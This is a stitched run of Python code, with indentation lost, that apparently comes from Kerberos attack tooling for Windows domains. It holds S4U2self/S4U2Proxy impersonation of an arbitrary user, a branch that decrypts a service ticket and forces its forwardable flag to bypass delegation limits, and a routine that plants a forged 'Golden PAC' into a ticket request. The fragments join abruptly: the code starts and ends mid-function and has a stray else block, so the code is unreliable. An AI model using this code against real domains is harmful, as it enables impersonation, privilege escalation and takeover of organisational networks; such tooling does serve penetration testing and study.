encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
credentials = SaslCredentials()
credentials['mechanism'] = LDAPString('GSS-SPNEGO')
credentials['credentials'] = Credentials(blob.getData())
bindRequest['authentication'] = AuthenticationChoice(
).setComponentByName('sasl', credentials)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(
errorString='Error in bindRequest -> %s:%s' %
(resp['bindResponse']['resultCode'].prettyPrint(),
resp['bindResponse']['diagnosticMessage']))
return True
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
logging.info('\tRequesting S4U2self')
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher,
sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4,
encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype, ))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data'][
'cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype,
str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
else:
tgs = TGS["KDC_REP"]
cipher = TGS["cipher"]
sessionKey = TGS["sessionKey"]
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = domain
